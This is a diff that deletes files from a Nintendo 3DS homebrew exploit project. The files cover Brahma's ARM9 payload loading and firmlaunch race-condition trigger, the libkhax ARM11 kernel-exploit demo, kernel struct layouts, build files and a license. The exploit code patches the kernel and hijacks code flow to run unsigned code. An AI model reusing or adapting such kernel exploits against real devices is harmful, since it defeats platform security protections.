fseek(f, offset, SEEK_SET);
if (psize >= 8) {
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
result = (g_ext_arm9_loaded = (bytes_read == psize));
}
}
fclose(f);
}
return result;
}
/* reads ARM9 payload from memory.
data: array of u8 containing the payload
dsize: size of the data array
returns: 0 on failure, 1 on success */
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
s32 result = 0;
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
g_ext_arm9_size = dsize;
memcpy(g_ext_arm9_buf, data, dsize);
result = g_ext_arm9_loaded = 1;
}
return result;
}
/* copies ARM9 payload to FCRAM
- before overwriting it in memory, Brahma creates a backup copy of
the mapped firm binary's ARM9 entry point. The copy will be stored
into offset 4 of the ARM9 payload during run-time.
This allows the ARM9 payload to resume booting the Nintendo firmware
code.
Thus, the format of ARM9 payload written for Brahma is the following:
- a branch instruction at offset 0 and
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
s32 map_arm9_payload (void) {
void *src;
volatile void *dst;
u32 size = 0;
s32 result = 0;
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
if (!g_ext_arm9_loaded) {
return 0;
}
else {
// external ARM9 payload
src = g_ext_arm9_buf;
size = g_ext_arm9_size;
}
if (size <= ARM9_PAYLOAD_MAX_SIZE) {
memcpy((void *)dst, src, size);
result = 1;
}
return result;
}
s32 map_arm11_payload (void) {
void *src;
volatile void *dst;
u32 size = 0;
u32 offs;
s32 result_a = 0;
s32 result_b = 0;
src = &arm11_start;
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
// TODO: sanitize 'size'
if (size) {
memcpy((void *)dst, src, size);
result_a = 1;
}
offs = size;
src = &g_arm11shared;
size = sizeof(g_arm11shared);
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
OFFS_EXC_HANDLER_UNUSED + offs);
// TODO sanitize 'size'
if (result_a && size) {
memcpy((void *)dst, src, size);
result_b = 1;
}
return result_a && result_b;
}
void exploit_arm9_race_condition (void) {
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
(void *)g_expdata.va_kernelsetstate;
asm volatile ("clrex");
/* copy ARM11 payload and console specific data */
if (map_arm11_payload() &&
/* copy ARM9 payload to FCRAM */
map_arm9_payload()) {
/* patch ARM11 kernel to force it to execute
our code (hook1 and hook2) as soon as a
"firmlaunch" is triggered */
redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
OFFS_EXC_HANDLER_UNUSED),
(u32 *)g_expdata.va_patch_hook1);
redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
OFFS_EXC_HANDLER_UNUSED + 4),
(u32 *)g_expdata.va_patch_hook2);
CleanEntireDataCache();
dsb();
InvalidateEntireInstructionCache();
// trigger ARM9 code execution through "firmlaunch"
_KernelSetState(0, 0, 2, 0);
// prev call shouldn't ever return
}
return;
}
/* restore svcCreateThread code (not really required,
but just to be on the safe side) */
s32 priv_firm_reboot (void) {
__asm__ volatile ("cpsid aif");
// Save the framebuffers for arm9,
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
exploit_arm9_race_condition();
return 0;
}
/* perform firmlaunch. load ARM9 payload before calling this
function. otherwise, calling this function simply reboots
the handheld */
s32 firm_reboot (void) {
s32 fail_stage = 0;
// Make sure gfx is initialized
gfxInitDefault();
// Save the framebuffers for arm11.
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
gfxSwapBuffers();
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
if (setup_exploit_data()) {
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
if (khaxInit() == 0) {
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
svcBackdoor(priv_firm_reboot);
}
}
/* we do not intend to return ... */
return fail_stage;
}

View File

@ -1,27 +0,0 @@
#include <3ds.h>
#include <stdio.h>
/* loop until key is pressed */
void wait_key (void) {
hidScanInput();
u32 old_kDown, kDown;
old_kDown = hidKeysDown();
while (aptMainLoop()) {
gspWaitForVBlank();
hidScanInput();
kDown = hidKeysDown();
if (kDown != old_kDown)
break;
gfxFlushBuffers();
gfxSwapBuffers();
}
}
/* convenience function */
void wait_any_key (void) {
printf("\n\nPress key to continue\n");
wait_key();
}

View File

@ -1,22 +0,0 @@
The MIT License (MIT)
Copyright (c) 2015 Myriachan
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -1,177 +0,0 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#
# NO_SMDH: if set to anything, no SMDH file is generated.
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
# ICON is the filename of the icon (.png), relative to the project folder.
# If not set, it attempts to use one of the following (in this order):
# - <Project name>.png
# - icon.png
# - <libctru folder>/default_icon.png
#---------------------------------------------------------------------------------
TARGET := $(notdir $(CURDIR))
BUILD := build
SOURCES := . ../
DATA := data
INCLUDES := include
APP_TITLE := khax
APP_DESCRIPTION := ARM11 KernelHax
APP_AUTHOR := Myria
ICON := logo.png
NO_SMDH := 1
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -O3 -mword-relocations \
-fomit-frame-pointer -ffast-math \
$(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
LIBS := -lctru -lm
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CTRULIB)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
ifeq ($(strip $(ICON)),)
icons := $(wildcard *.png)
ifneq (,$(findstring $(TARGET).png,$(icons)))
export APP_ICON := $(TOPDIR)/$(TARGET).png
else
ifneq (,$(findstring icon.png,$(icons)))
export APP_ICON := $(TOPDIR)/icon.png
endif
endif
else
export APP_ICON := $(TOPDIR)/$(ICON)
endif
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@echo $(SFILES)
@[ -d $@ ] || mkdir -p $@
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ifeq ($(strip $(NO_SMDH)),)
.PHONY: all
all : $(OUTPUT).3dsx $(OUTPUT).smdh
endif
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
$(OUTPUT).3dsx : $(OUTPUT).elf
$(OUTPUT).elf : $(OFILES)
#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)
# WARNING: This is not the right way to do this! TODO: Do it right!
#---------------------------------------------------------------------------------
%.vsh.o : %.vsh
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
@rm ../$(notdir $<).shbin
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -1,22 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,82 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
<RootNamespace>ctrklib</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="../khaxinit.cpp" />
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<None Include="Makefile" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="../khax.h" />
<ClInclude Include="../khaxinternal.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,36 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="../khaxinit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="Makefile" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="../khaxinternal.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="../khax.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -1,139 +0,0 @@
#ifndef LIBKHAX_AS_LIB
#include <3ds.h>
#include <3ds/services/am.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "../khax.h"
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
s32 g_backdoorResult = -1;
s32 dump_chunk_wrapper()
{
__asm__ volatile("cpsid aif");
g_backdoorResult = 0x6666abcd;
return 0;
}
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
Result test_am_access_inner(char *productCode)
{
// Title IDs of "mset" in the six regions
static const u64 s_msetTitleIDs[] =
{
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
};
Result result;
char productCodeTemp[16 + 1];
unsigned x;
// Initialize "am"
result = amInit();
if (result != 0)
{
return result;
}
// Check for the existence of the title IDs.
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
{
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
if (result == 0)
{
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
amExit();
return 0;
}
}
amExit();
return -1;
}
// Self-contained test.
void test_am_access_outer(int testNumber)
{
char productCode[16 + 1];
Result result = test_am_access_inner(productCode);
if (result != 0)
{
productCode[0] = '\0';
}
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
}
int main()
{
// Initialize services
/* srvInit(); // mandatory
aptInit(); // mandatory
hidInit(NULL); // input (buttons, screen)*/
gfxInitDefault(); // graphics
/* fsInit();
sdmcInit();
hbInit();
qtmInit();*/
consoleInit(GFX_BOTTOM, NULL);
consoleClear();
test_am_access_outer(1); // test before libkhax
Result result = khaxInit();
printf("khaxInit returned %08lx\n", result);
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
test_am_access_outer(2); // test after libkhax
printf("khax demo main finished\n");
printf("Press X to exit\n");
khaxExit();
while (aptMainLoop())
{
// Wait next screen refresh
gspWaitForVBlank();
// Read which buttons are currently pressed
hidScanInput();
u32 kDown = hidKeysDown();
(void) kDown;
u32 kHeld = hidKeysHeld();
(void) kHeld;
// If START is pressed, break loop and quit
if (kDown & KEY_X){
break;
}
//consoleClear();
// Flush and swap framebuffers
gfxFlushBuffers();
gfxSwapBuffers();
}
// Exit services
/* qtmExit();
hbExit();
sdmcExit();
fsExit();*/
gfxExit();
/* hidExit();
aptExit();
srvExit();*/
// Return to hbmenu
return 0;
}
#endif // LIBKHAX_AS_LIB

View File

@ -1,16 +0,0 @@
#pragma once
#include <3ds.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize and do the initial pwning of the ARM11 kernel.
Result khaxInit();
// Shut down libkhax
Result khaxExit();
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -1,337 +0,0 @@
#pragma once
#ifdef KHAX_DEBUG
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
#else
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
#endif
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
// actually compile this program.
#ifdef _MSC_VER
#undef ALIGN
#define ALIGN(x) __declspec(align(x))
#if _MSC_VER < 1900
#define alignof __alignof
#endif
#define KHAX_ATTRIBUTE(...)
#else
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
#endif
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// This code uses offsetof illegally (i.e. on polymorphic classes).
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
//------------------------------------------------------------------------------------------------
// General linked list node kernel object.
struct KLinkedListNode
{
KLinkedListNode *next;
KLinkedListNode *prev;
void *data;
};
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Base class of reference-counted kernel objects.
class KAutoObject
{
public:
u32 m_refCount; // +004
protected:
virtual ~KAutoObject() {}
};
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Base class of synchronizable objects.
class KSynchronizationObject : public KAutoObject
{
public:
u32 m_threadSyncCount; // +008
KLinkedListNode *m_threadSyncFirst; // +00C
KLinkedListNode *m_threadSyncLast; // +010
};
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
"KSynchronizationObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
struct KDebugThread;
struct KThreadLocalPage;
class KCodeSet;
//------------------------------------------------------------------------------------------------
// Unofficial name
typedef u8 KSVCACL[0x80 / 8];
//------------------------------------------------------------------------------------------------
// ARM VFP register
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
{
float m_single[2];
double m_double;
};
static_assert(alignof(VFPRegister) == 0x004,
"VFPRegister isn't the expected alignment.");
static_assert(sizeof(VFPRegister) == 0x008,
"VFPRegister isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode register save area.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCRegisterState
{
u32 m_r4; // +000
u32 m_r5; // +004
u32 m_r6; // +008
u32 m_r7; // +00C
u32 m_r8; // +010
u32 m_r9; // +014
u32 m_sl; // +018
u32 m_fp; // +01C
u32 m_sp; // +020
u32 m_lr; // +024
};
static_assert(sizeof(SVCRegisterState) == 0x028,
"SVCRegisterState isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode thread state structure. This is the last part of the per-
// thread page allocated in 0xFF4XX000.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCThreadArea
{
KSVCACL m_svcAccessControl; // +000
u32 m_unknown010; // +010
u32 m_unknown014; // +014
SVCRegisterState m_svcRegisterState; // +018
VFPRegister m_vfpRegisters[16]; // +040
u32 m_unknown0C4; // +0C0
u32 m_fpexc; // +0C4
};
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
"ThreadSVCArea isn't the expected layout.");
static_assert(sizeof(SVCThreadArea) == 0x0C8,
"ThreadSVCArea isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a thread object.
class KThread : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
u32 m_unknown01C; // +01C
u32 m_unknown020; // +020
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C
u32 m_unknown030; // +030
u32 m_unknown034; // +034
KDebugThread *m_debugThread; // +038
s32 m_threadPriority; // +03C
void *m_waitingOnObject; // +040
u32 m_unknown044; // +044
KThread **m_schedulerUnknown048; // +048
void *m_arbitrationAddress; // +04C
u32 m_unknown050; // +050
u32 m_unknown054; // +054
u32 m_unknown058; // +058
KLinkedListNode *m_waitingOnList; // +05C
u32 m_unknownListCount; // +060
KLinkedListNode *m_unknownListHead; // +064
KLinkedListNode *m_unknownListTail; // +068
s32 m_threadPriority2; // +06C
s32 m_creatingProcessor; // +070
u32 m_unknown074; // +074
u32 m_unknown078; // +078
u16 m_unknown07C; // +07C
u8 m_threadType; // +07E
u8 m_padding07F; // +07F
void *m_process; // +080
u32 m_threadID; // +084
SVCRegisterState *m_svcRegisterState; // +088
void *m_svcPageEnd; // +08C
s32 m_idealProcessor; // +090
void *m_tlsUserMode; // +094
void *m_tlsKernelMode; // +098
u32 m_unknown09C; // +09C
KThread *m_prev; // +0A0
KThread *m_next; // +0A4
KThread **m_temporaryLinkedList; // +0A8
u32 m_unknown0AC; // +0B0
};
static_assert(sizeof(KThread) == 0x0B0,
"KThread isn't the expected size.");
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
"KThread isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Version 1.0.0(?) - 7.2.0
class KProcess_1_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
u32 m_unknown04C; // +04C
u32 m_mmuTableSize; // +050
void *m_mmuTableAddress; // +054
u32 m_threadContextPagesSize; // +058
u32 m_threadLocalPageCount; // +05C
KLinkedListNode *m_threadLocalPageFirst; // +060
KLinkedListNode *m_threadLocalPageLast; // +064
u32 m_unknown068; // +068
s32 m_idealProcessor; // +06C
u32 m_unknown070; // +070
void *m_resourceLimits; // +074
u8 m_unknown078; // +078
u8 m_affinityMask; // +079
u32 m_threadCount; // +07C
KSVCACL m_svcAccessControl; // +080
u32 m_interruptFlags[0x80 / 32]; // +090
u32 m_kernelFlags; // +0A0
u16 m_handleTableSize; // +0A4
u16 m_kernelReleaseVersion; // +0A6
KCodeSet *m_codeSet; // +0A8
u32 m_processID; // +0AC
u32 m_kernelFlags2; // +0B0
u32 m_unknown0B4; // +0B4
KThread *m_mainThread; // +0B8
//...more...
};
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
"KProcess_1_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Old 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
void *m_userVirtualMemoryEnd; // +04C
void *m_userLinearVirtualBase; // +050
u32 m_unknown054; // +054
u32 m_mmuTableSize; // +058
void *m_mmuTableAddress; // +05C
u32 m_threadContextPagesSize; // +060
u32 m_threadLocalPageCount; // +064
KLinkedListNode *m_threadLocalPageFirst; // +068
KLinkedListNode *m_threadLocalPageLast; // +06C
u32 m_unknown070; // +070
s32 m_idealProcessor; // +074
u32 m_unknown078; // +078
void *m_resourceLimits; // +07C
u32 m_unknown080; // +080
u32 m_threadCount; // +084
u8 m_svcAccessControl[0x80 / 8]; // +088
u32 m_interruptFlags[0x80 / 32]; // +098
u32 m_kernelFlags; // +0A8
u16 m_handleTableSize; // +0AC
u16 m_kernelReleaseVersion; // +0AE
KCodeSet *m_codeSet; // +0B0
u32 m_processID; // +0B4
u32 m_unknown0B8; // +0B8
u32 m_unknown0BC; // +0BC
KThread *m_mainThread; // +0C0
//...more...
};
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
"KProcess_8_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// New 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_New : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
